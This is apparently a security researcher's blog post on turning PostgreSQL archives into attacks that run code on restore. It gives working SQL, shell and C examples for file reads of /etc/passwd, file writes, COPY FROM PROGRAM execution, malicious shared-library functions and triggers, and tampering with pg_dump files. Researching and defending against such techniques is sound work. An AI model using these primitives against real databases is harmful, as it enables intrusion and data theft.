Exploiting PostgreSQL Restore

5 minute read

Causing mischief with PostgreSQL backups

Introduction

While exploiting Postgres database access has been the subject of many articles there is little if any information on how the same techniques can be used to exploit database restoration. This post will pull together the various exploitation techniques and show how they can be trivially added to Postgres archives, despite complete ignorance of the custom format.

As always do not trust user data and restore as a non-superuser.

All code used in this post can be found on github.

PostreSQL COPY

As detailed by Greenwolf-security, since Postgres version 9.3 the pSQL COPY command can be used for arbitrarily read/write/execute. Superuser access or specific user permissions are required.

Arbitrary file read

This will copy the contents of a file into the specified table. This example copies the contents of /etc/passwd to the table dump. Requires user permission pg_read_server_files.

CREATE TABLE dump (t TEXT);

COPY dump FROM '/etc/passwd';

Arbitrary file write

Write table contents to the specified file. This example writes the contents of the table dump to the file /tmp/dump.txt. Requires user permission pg_write_server_files.

CREATE TABLE dump (t TEXT);

COPY dump TO '/tmp/dump.txt';

Arbitrary command execution

Execute a shell command, writing output to the specified table. This example executes uname -a writing the result to the table dump. Requires user permission pg_execute_server_program.

CREATE TABLE dump (t TEXT);

COPY dump FROM PROGRAM 'uname -a';

Writing binary files

These COPY primitives can be combined to write binary files to the file system. Binary data can be written to tables in the database using the base64 decoder. The COPY .. TO .. WITH BINARY command will prepend a pSQL header that can later be stripped with the use of the tail command.

CREATE TABLE dump (t TEXT);

CREATE TABLE binaryData (b bytea);

\set b64 `base64 -w 0 function_poc`

INSERT INTO binaryData (b) values (decode(:'b64', 'base64'));

COPY binaryData TO '/tmp/psql.bin' WITH BINARY;

COPY dump FROM PROGRAM 'tail -c +26 /tmp/psql.bin > /tmp/poc';

PostgreSQL Large Objects

Postgres allows large objects to be stored in the pg_catalog.pg_largeobject table.

Arbitrary file write

The following method lifted from unix-ninja shows how binary data can be inserted into the large object table and then written to the file system with lo_export.

SELECT lo_create(0);

$ export LOID='lo_create result'

$ split -b 2048 function_poc

$ CNT=0; for f in x*; do echo '\set c'${CNT}' `base64 -w 0 '${f}'`'; echo 'INSERT INTO pg_largeobject (loid, pageno, data) values ('${LOID}', '${CNT}', decode(:'"'"c${CNT}"'"', '"'"'base64'"'"'));'; CNT=$(( CNT + 1 )); done > upload.sql

SELECT lo_export(number, '/tmp/lo_poc');

PostgreSQL CREATE FUNCTION

Postgres allows shared libraries to be imported and used as functions with the CREATE FUNCTION command. These functions can then be used for command execution.

This section is based on pgexec by Dionach. Ensure that postgres is built and installed from source. The version must match that of the target database.

Use the following to compile each example.

$ export PATH="/usr/local/pgsql/bin:$PATH"

$ gcc -I$(pg_config --includedir-server) -shared -fPIC -o <output> <source>

Arbitrary command execution - functions

#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pgfunc);

Datum
pgfunc(PG_FUNCTION_ARGS) {
    system("touch /tmp/function_code_execution");

    PG_RETURN_INT32(0);
}

Create the function poc with the compiled pgfunc library and execute with the SELECT statement.

CREATE FUNCTION poc() RETURNS int as '/tmp/poc', 'pgfunc' LANGUAGE 'c' STRICT;
SELECT poc();

Arbitrary command execution - trigger functions

Trigger functions can be assigned to tables with the CREATE TRIGGER command. The function can be set to execute before or after various events.

#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#include "commands/trigger.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

extern Datum pgtrigger(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(pgtrigger);

Datum
pgtrigger(PG_FUNCTION_ARGS) {
    TriggerData *trigger_data = (TriggerData *) fcinfo->context;

    system("touch /tmp/trigger_code_execution");

    return PointerGetDatum(trigger_data->tg_trigtuple);
}

In this example the pgtrigger function will be executed before every row insertion on the dump table.

CREATE TABLE dump (t TEXT);

CREATE FUNCTION poc() RETURNS TRIGGER AS '/tmp/trigger_poc', 'pgtrigger' LANGUAGE 'c' STRICT;

CREATE TRIGGER poc BEFORE INSERT ON dump FOR EACH ROW EXECUTE FUNCTION poc();

INSERT INTO dump (t) VALUES ('random');

Exploiting PostgreSQL restore

Postgres archives can be created with pg_dump and the -Fc flag.

$ pg_dump -U postgres -Fc

As long as the length of lines in the archive do not change, statements can be changed to arbitrary pSQL. In each of the following POC I used the pSQL CREATE SEQUENCE statement and replaced with my own padded pSQL.

$ pg_restore -U postgres dumpfile | grep "public.seq" -B 1
-- Name: seq; Type: SEQUENCE SET; Schema: public; Owner: postgres
SELECT pg_catalog.setval('public.seq', 10000000000000, true);

Becomes:

$ pg_restore -U postgres dumpfile | egrep "(public.seq|PROGRAM)" -B 1
-- Name: seq; Type: SEQUENCE SET; Schema: public; Owner: postgres
COPY public.dump FROM PROGRAM 'touch /tmp/code_exec'        ;

Each of the following examples have been modified to create a reverse shell on database restoration.

COPY command execution

The pgrestore_copy.py script will replace the sequence pSQL statement with COPY .. FROM PROGRAM. This will execute arbitrary commands on restore.

$ psql -U postgres -c 'CREATE DATABASE poc' &&
> python pgrestore_copy.py &&
> pg_restore -U postgres -d poc copy.dump

copy-code-execution

COPY binary execution

pgrestore_bin_func.py showcases an alternative method that doesn’t require the use of COPY .. FROM PROGRAM. It writes a shared library to a table as binary data, data which will be contained in the resulting archive. pSQL sequence statements are replaced by the COPY and CREATE FUNCTION commands to write the shared library to a file, load it, and execute the function on database restoration.

$ psql -U postgres -c 'CREATE DATABASE poc' &&
> python pgrestore_bin_func.py &&
> pg_restore -U postgres -d poc bin_func.dump

copy-binary--execution

Large object binary execution

This example consists of two stages. The script pgrestore_lo_export.py will create two dump files which must be restored one after the other.

1) Insert the shared library into the large object table and create lo_create.dump.

2) Replace the pSQL sequence statements with the commands lo_export and CREATE FUNCTION, and create lo_export.dump. The commands will write the shared library to a file, load it, and execute the function on database restoration.

$ psql -U postgres -c 'CREATE DATABASE poc' &&
> python pgrestore_lo_export.py
$ python pgrestore_lo_export.py <lo_id>
$ pg_restore -U postgres -d poc lo_create.dump
$ pg_restore -U postgres -d poc lo_export.dump

large-object-code-execution

Jon Stewart

Introduction

PostreSQL COPY

Arbitrary file read

Arbitrary file write

Arbitrary command execution

Writing binary files

PostgreSQL Large Objects

Arbitrary file write

PostgreSQL CREATE FUNCTION

Arbitrary command execution - functions

Arbitrary command execution - trigger functions

Exploiting PostgreSQL restore

COPY command execution

COPY binary execution

Large object binary execution